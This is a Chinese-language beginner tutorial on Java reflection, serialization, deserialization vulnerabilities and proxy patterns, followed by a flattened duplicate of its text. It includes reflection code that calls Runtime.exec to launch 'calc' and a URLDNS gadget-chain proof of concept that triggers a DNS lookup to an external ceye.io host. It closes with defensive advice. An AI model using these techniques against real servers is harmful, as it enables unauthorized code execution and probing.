JAVA小白入门基础篇
字数 1678 2025-08-23 18:31:17

Java反射与反序列化安全教程

一、Java反射机制

1.1 反射基础概念

Java反射机制是在运行状态时:

  • 对于任意一个类,都能获取这个类的所有属性和方法
  • 对于任意一个对象,都能调用它的任意方法和属性(包括私有方法/属性)
  • 这种动态获取信息及调用对象方法的功能称为反射机制

反射与正射的区别

  • 正射:通过new对象调用方法
  • 反射:不通过new对象取得方法

1.2 反射的动态机制

反射是Java实现动态语言的关键,通过反射实现类动态加载:

  1. 静态加载:编译时加载相关类,不存在则报错,依赖性高
  2. 动态加载:运行时加载需要的类,运行时不使用则不会报错,降低依赖性
// 示例:动态加载
Class cls = Class.forName("Person");  // 运行时才检查Person类
Object o = cls.newInstance();
Method m = o.getMethod("hi");
m.invoke(o);

1.3 反射核心方法

1.3.1 获取类的方法

  1. Class.forName() - 通过完整类名获取

    Class qwq = Class.forName("java.lang.Runtime");
    
  2. getClass() - 通过实例对象获取

    String s = "qwq";
    Class cla = s.getClass();
    
  3. 类名.class - 直接通过类获取

    Class cla = String.class;
    

1.3.2 实例化对象

newInstance() - 实例化对象并触发构造方法

Object o = cls.newInstance();

1.3.3 获取和调用方法

  1. getMethod() - 获取public方法

    Method execMethod = clazz.getMethod("exec", String.class);
    
  2. invoke() - 执行方法

    execMethod.invoke(currentRuntime, "calc.exe");
    
    m.invoke(null, "23333");
    

1.4 反射执行命令示例

// 反射调用Runtime执行命令
Class.forName("java.lang.Runtime")
     .getMethod("exec", String.class)
     .invoke(Class.forName("java.lang.Runtime")
     .getMethod("getRuntime")
     .invoke(Class.forName("java.lang.Runtime")), "calc");

分解步骤:

  1. 获取Runtime类
  2. 获取exec方法
  3. 获取getRuntime方法
  4. 创建Runtime对象
  5. 调用exec执行命令

1.5 反射获取字段和方法

获取字段:

  • getFields():获取所有public字段(包括父类)
  • getDeclaredFields():获取当前类所有字段(不包括父类)

获取方法:

  • getMethod(name, Class...):获取public方法(包括父类)
  • getDeclaredMethod(name, Class...):获取当前类方法(不包括父类)
  • getMethods():获取所有public方法(包括父类)
  • getDeclaredMethods():获取当前类所有方法(不包括父类)

1.6 反射调用私有方法

使用getDeclared系列方法并设置可访问:

Class clazz = Class.forName("java.lang.Runtime");
Constructor m = clazz.getDeclaredConstructor();
m.setAccessible(true);  // 取消私有限制
clazz.getMethod("exec",String.class).invoke(m.newInstance(), "calc.exe");

二、Java反序列化

2.1 IO流基础

Java IO(Input/Output)完成硬盘文件读写:

FileInputStream读取文件:

  1. 创建流对象
  2. 读取流对象数据
  3. 关闭流对象
FileInputStream fis = new FileInputStream(file);
int a = 0;
byte[] bytes = new byte[1024];
while ((a = fis.read(bytes)) != -1) {
    out.write(bytes, 0, a);
}

FileOutputStream写入文件:

FileOutputStream fos = new FileOutputStream(file);
fos.write(content.getBytes());
fos.flush();
fos.close();

2.2 序列化与反序列化

定义

  • 序列化:将Java对象转换为字节序列
  • 反序列化:将字节序列恢复为Java对象

序列化示例:

public class Main implements Serializable {
    private String name;
    private int age;
    // 构造方法、getter/setter等
}

public class serialize {
    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
}

反序列化示例:

public class unserialize {
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
        return ois.readObject();
    }
}

2.3 反序列化漏洞

漏洞成因:服务端反序列化数据时自动调用类中的readObject代码

利用条件

  1. 继承Serializable
  2. 入口类source(重写readObject)
  3. 调用链gadget chain
  4. 执行类sink (RCE、SSRF等)

漏洞利用形式:

  1. 入口类readObject直接调用危险函数
  2. 入口类参数包含可控类,该类有危险方法
  3. 入口类参数包含可控类,该类调用其他有危险方法的类
  4. 构造函数/静态代码块等类加载时隐式执行

2.4 URLDNS利用链分析

URLDNS是ysoserial中用于检测反序列化漏洞的链:

Gadget Chain:

HashMap.readObject()
  HashMap.putVal()
    HashMap.hash()
      URL.hashCode()
        URLStreamHandler.hashCode()
          URLStreamHandler.getHostAddress()

POC构造

HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
URL url = new URL("http://xxx.ceye.io");
// 通过反射修改hashCode避免序列化时触发DNS
Class c = url.getClass();
Field hashcodefile = c.getDeclaredField("hashCode");
hashcodefile.setAccessible(true);
hashcodefile.set(url,1234);
hashmap.put(url,1);
hashcodefile.set(url,-1);  // 反序列化时会触发DNS

三、Java代理模式

3.1 静态代理

角色分析

  • 抽象角色:接口/抽象类
  • 真实角色:被代理类
  • 代理角色:代理类
  • 客户:访问代理对象

示例:

// 抽象角色
public interface Rent {
    public void rent();
}

// 真实角色
public class Host implements Rent {
    public void rent() {
        System.out.println("房东要出租房子");
    }
}

// 代理角色
public class Proxy implements Rent {
    private Host host;
    public void rent() {
        seeHouse();
        host.rent();
        fare();
    }
    // 附加方法...
}

// 客户
Proxy proxy = new Proxy(new Host());
proxy.rent();

3.2 动态代理

动态代理通过Proxy.newProxyInstance实现:

public Object getProxyInstance() {
    return Proxy.newProxyInstance(
        target.getClass().getClassLoader(), 
        target.getClass().getInterfaces(),
        new InvocationHandler() {
            @Override
            public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
                System.out.println("代理处理");
                return method.invoke(target, args);
            }
        });
}

关键点

  1. 必须实现接口
  2. 通过InvocationHandler处理调用
  3. 使用反射调用方法

四、安全注意事项

  1. 反射可以绕过访问控制,访问私有方法和字段
  2. 反序列化可能执行任意代码,需严格校验输入
  3. Runtime.exec和ProcessBuilder均可执行系统命令
  4. 动态代理可能被用于中间人攻击

五、防御措施

  1. 对反序列化操作进行白名单控制
  2. 使用SecurityManager限制敏感操作
  3. 更新Java运行环境,修复已知漏洞
  4. 对用户输入进行严格过滤和校验
Java反射与反序列化安全教程 一、Java反射机制 1.1 反射基础概念 Java反射机制是在运行状态时: 对于任意一个类,都能获取这个类的所有属性和方法 对于任意一个对象,都能调用它的任意方法和属性(包括私有方法/属性) 这种动态获取信息及调用对象方法的功能称为反射机制 反射与正射的区别 : 正射:通过new对象调用方法 反射:不通过new对象取得方法 1.2 反射的动态机制 反射是Java实现动态语言的关键,通过反射实现类动态加载: 静态加载 :编译时加载相关类,不存在则报错,依赖性高 动态加载 :运行时加载需要的类,运行时不使用则不会报错,降低依赖性 1.3 反射核心方法 1.3.1 获取类的方法 Class.forName() - 通过完整类名获取 getClass() - 通过实例对象获取 类名.class - 直接通过类获取 1.3.2 实例化对象 newInstance() - 实例化对象并触发构造方法 1.3.3 获取和调用方法 getMethod() - 获取public方法 invoke() - 执行方法 1.4 反射执行命令示例 分解步骤: 获取Runtime类 获取exec方法 获取getRuntime方法 创建Runtime对象 调用exec执行命令 1.5 反射获取字段和方法 获取字段: getFields() :获取所有public字段(包括父类) getDeclaredFields() :获取当前类所有字段(不包括父类) 获取方法: getMethod(name, Class...) :获取public方法(包括父类) getDeclaredMethod(name, Class...) :获取当前类方法(不包括父类) getMethods() :获取所有public方法(包括父类) getDeclaredMethods() :获取当前类所有方法(不包括父类) 1.6 反射调用私有方法 使用 getDeclared 系列方法并设置可访问: 二、Java反序列化 2.1 IO流基础 Java IO(Input/Output)完成硬盘文件读写: FileInputStream读取文件: 创建流对象 读取流对象数据 关闭流对象 FileOutputStream写入文件: 2.2 序列化与反序列化 定义 : 序列化:将Java对象转换为字节序列 反序列化:将字节序列恢复为Java对象 序列化示例: 反序列化示例: 2.3 反序列化漏洞 漏洞成因 :服务端反序列化数据时自动调用类中的readObject代码 利用条件 : 继承Serializable 入口类source(重写readObject) 调用链gadget chain 执行类sink (RCE、SSRF等) 漏洞利用形式: 入口类readObject直接调用危险函数 入口类参数包含可控类,该类有危险方法 入口类参数包含可控类,该类调用其他有危险方法的类 构造函数/静态代码块等类加载时隐式执行 2.4 URLDNS利用链分析 URLDNS是ysoserial中用于检测反序列化漏洞的链: Gadget Chain : POC构造 : 三、Java代理模式 3.1 静态代理 角色分析 : 抽象角色:接口/抽象类 真实角色:被代理类 代理角色:代理类 客户:访问代理对象 示例: 3.2 动态代理 动态代理通过 Proxy.newProxyInstance 实现: 关键点 : 必须实现接口 通过InvocationHandler处理调用 使用反射调用方法 四、安全注意事项 反射可以绕过访问控制,访问私有方法和字段 反序列化可能执行任意代码,需严格校验输入 Runtime.exec和ProcessBuilder均可执行系统命令 动态代理可能被用于中间人攻击 五、防御措施 对反序列化操作进行白名单控制 使用SecurityManager限制敏感操作 更新Java运行环境,修复已知漏洞 对用户输入进行严格过滤和校验